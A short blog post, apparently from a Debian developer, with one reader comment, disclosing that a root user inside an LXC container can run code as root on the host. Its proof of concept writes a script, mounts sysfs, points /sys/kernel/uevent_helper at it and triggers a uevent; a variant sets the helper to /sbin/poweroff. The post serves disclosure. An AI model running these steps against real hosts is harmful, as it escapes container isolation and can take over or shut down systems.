Evading from linux containers

[Marco d'Itri]

For the past few years, the Linux Containers project[0] has been
developing some kernel technologies which provide isolation, accounting
and management for kernel resources. When completed, together they will
allow implementing lightweight virtualization of the operating system
like is currently possible with OpenVZ[1].

It is very important to understand that not all the pieces are ready
yet, so currently a LXC container does not provide the same security of
other virtualization technologies.

This example shows how the root user of a container can easily run code
as root in the host system, since sysfs does not support namespaces:

lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper

lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper >
/sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent

The last command will trigger a uevent, which will be processed by
running in the host our script created inside the container.

Or else:

inside# echo /sbin/poweroff > /sys/kernel/uevent_helper

Because of this, LXC containers are vulnerable to a malicious root user
and are not really a replacement for OpenVZ. This will change when
support for labelling files with user namespaces will be completed.

[0] http://lxc.sourceforge.net/
[1] http://wiki.openvz.org/

Permalink: http://blog.bofh.it/debian/id_413

[David Schmitt]

Would it be helpful to remove CAP_SYS_ADMIN from the container? linux-
vservers have a whole bunch of capabilities they do not grant by
default and it worked out pretty well.

Best Regards, David